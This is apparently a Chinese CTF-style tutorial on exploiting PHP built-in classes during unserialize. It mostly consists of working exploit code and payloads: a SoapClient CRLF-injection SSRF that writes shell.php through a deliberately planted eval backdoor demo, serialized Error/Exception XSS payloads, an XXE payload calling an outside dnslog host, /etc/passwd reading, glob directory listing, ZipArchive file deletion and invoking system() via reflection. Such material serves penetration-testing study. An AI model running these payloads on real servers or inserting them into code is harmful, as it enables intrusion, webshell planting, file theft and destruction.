Class Found

php中含魔术方法的内置类

<?php
$classes = get_declared_classes();  // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
    $methods = get_class_methods($class);  // 返回由类的方法名组成的数组
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . ";";
        }
    }
    print "\n";
}

SoapClient::__call

可进行SSRF

rangePHP 5, PHP 7, PHP 8

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

use

  • SoapClient::__construct ( string|null $wsdl , array $options = [] )
    • $wsdl:wsdl文件的uri,如果是NULL意味着不使用WSDL模式。
    • $options:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
  • SoapClient::__call ( string $name , array $args ) : mixed

官方的$option参数中有这样的一条介绍

The user_agent option specifies string to use in User-Agent header.

我们可以自己设置User-Agent的值。当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-TypeContent-Length都在User-Agent之下,而控制这两个是利用CRLF发送POST请求最关键的地方。

Demo

$_SERVER['REMOTE_ADDR']参考

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    @$a=$_POST[1];
    @eval($a);
}

Exp

<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
   'X-Forwarded-For:127.0.0.1',
   'Cookie:admin=1'
   );
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();

成功写shell

Error/Exception

XSS

rangeError(php7, PHP8), Exception(php5, php7, PHP8)

通过内置__toString()魔术方法触发。

Demo

<?php
    $a = unserialize($_GET['a']);
    echo $a;

Error Class Exp

<?php
    $a = new Error("<script>alert(1)</script>");
    echo urlencode(serialize($a));
    #注意版本是PHP7

Payload

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Exception Class Exp

<?php
  $a = new Exception("<script>alert(1)</script>");
  echo urlencode(serialize($a));?>

Payload

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

SimpleXMLElement

XXE

range(PHP 5, PHP 7, PHP 8)

利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。

payload

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
    <!ENTITY % remote SYSTEM "http://suhk4i.dnslog.cn">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

SPL File Class

可遍历目录类

DirectoryIterator

range(PHP 5, PHP 7, PHP 8)

<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

FilesystemIterator

range(PHP 5 >= 5.3.0, PHP 7, PHP 8)

<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}

#payload : cmd=glob:///*

GlobIterator

range(PHP 5 >= 5.3.0, PHP 7, PHP 8)

<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}

#payload : cmd=glob:///*

可读取文件类

SplFileObject

<?php
highlight_file(__file__);
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

ZipArchive::open()

可进行文件删除操作

rangePHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0

ZipArchive {
    /* 方法 */
    public addEmptyDir ( string $dirname , int $flags = 0 ) : bool
    public addFile ( string $filepath , string $entryname = "" , int $start = 0 , int $length = 0 , int $flags = ZipArchive::FL_OVERWRITE ) : bool
    public addFromString ( string $name , string $content , int $flags = ZipArchive::FL_OVERWRITE ) : bool
    public addGlob ( string $pattern , int $flags = 0 , array $options = [] ) : array|false
    public addPattern ( string $pattern , string $path = "." , array $options = [] ) : array|false
    public close ( ) : bool
    public count ( ) : int
    public deleteIndex ( int $index ) : bool
    public deleteName ( string $name ) : bool
    extractTo ( string $destination , mixed $entries = ? ) : bool
    public getArchiveComment ( int $flags = 0 ) : string|false
    public getCommentIndex ( int $index , int $flags = 0 ) : string|false
    public getCommentName ( string $name , int $flags = 0 ) : string|false
    public GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr , int $flags = ? ) : bool
    public getExternalAttributesName ( string $name , int &$opsys , int &$attr , int $flags = 0 ) : bool
    public getFromIndex ( int $index , int $len = 0 , int $flags = 0 ) : string|false
    public getFromName ( string $name , int $len = 0 , int $flags = 0 ) : string|false
    public getNameIndex ( int $index , int $flags = 0 ) : string|false
    public getStatusString ( ) : string
    public getStream ( string $name ) : resource|false
    public static isCompressionMethodSupported ( int $method , bool $enc = true ) : bool
    public static isEncryptionMethodSupported ( int $method , bool $enc = true ) : bool
    public locateName ( string $name , int $flags = 0 ) : int|false
    public open ( string $filename , int $flags = 0 ) : bool|int
    public registerCancelCallback ( callable $callback ) : bool
    public registerProgressCallback ( float $rate , callable $callback ) : bool
    public renameIndex ( int $index , string $new_name ) : bool
    public renameName ( string $name , string $new_name ) : bool
    public replaceFile ( string $filepath , string $index , int $start = 0 , int $length = 0 , int $flags = 0 ) : bool
    public setArchiveComment ( string $comment ) : bool
    public setCommentIndex ( int $index , string $comment ) : bool
    public setCommentName ( string $name , string $comment ) : bool
    public setCompressionIndex ( int $index , int $method , int $compflags = 0 ) : bool
    public setCompressionName ( string $name , int $method , int $compflags = 0 ) : bool
    public setEncryptionIndex ( int $index , int $method , string|null $password = null ) : bool
    public setEncryptionName ( string $name , int $method , string|null $password = null ) : bool
    public setExternalAttributesIndex ( int $index , int $opsys , int $attr , int $flags = 0 ) : bool
    public setExternalAttributesName ( string $name , int $opsys , int $attr , int $flags = 0 ) : bool
    public setMtimeIndex ( int $index , int $timestamp , int $flags = 0 ) : bool|null
    public setMtimeName ( string $name , int $timestamp , int $flags = 0 ) : bool|null
    public setPassword ( string $password ) : bool
    public statIndex ( int $index , int $flags = 0 ) : array|false
    public statName ( string $name , int $flags = 0 ) : array|false
    public unchangeAll ( ) : bool
    public unchangeArchive ( ) : bool
    public unchangeIndex ( int $index ) : bool
    public unchangeName ( string $name ) : bool
}

useZipArchive::open ( string $filename [, int $flags ] ) : mixed

flags:The mode to use to open the archive.

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。
  • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
  • ZipArchive::RDONLY:只读模式打开压缩包。 PHP>7.4.3, PECL zip>1.17.1
  • ZipArchive::EXCL:如果压缩包已经存在,则出错。
  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

Demo

<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);

目录下的1.txt将会被删除

Reflection

注释读取

range(PHP 5, PHP 7, PHP 8)

方法参考:https://www.php.net/manual/zh/book.reflection.php

Example Class

class Apple {
    public $var1;
    public $var2 = 'Orange';

    /**
     * This is DocComment
     */
    public function type() {
        return 'Apple';
    }
}

利用php反射类来进行操作

ReflectionMethod继承ReflectionFunctionAbstract这个抽象类,这个抽象类实现Reflector接口

ReflectionFunctionAbstract中有一个getDocComment方法,用以获取函数的注释文本,注释文本需符合/**开头的规范否则无法识别

$ref = new ReflectionMethod("Apple","type");
var_dump($ref->getDocComment());

string(39) "/**
     * This is DocComment
     */"

同时这里还有一个ReflectionFunction

[new ReflectionFunction('system'),invokeArgs](array('aaa.txt'=>'dir'));可执行函数调用

  • invokeArgs(args):The passed arguments to the function as an array, much like call_user_func_array() works.

Reference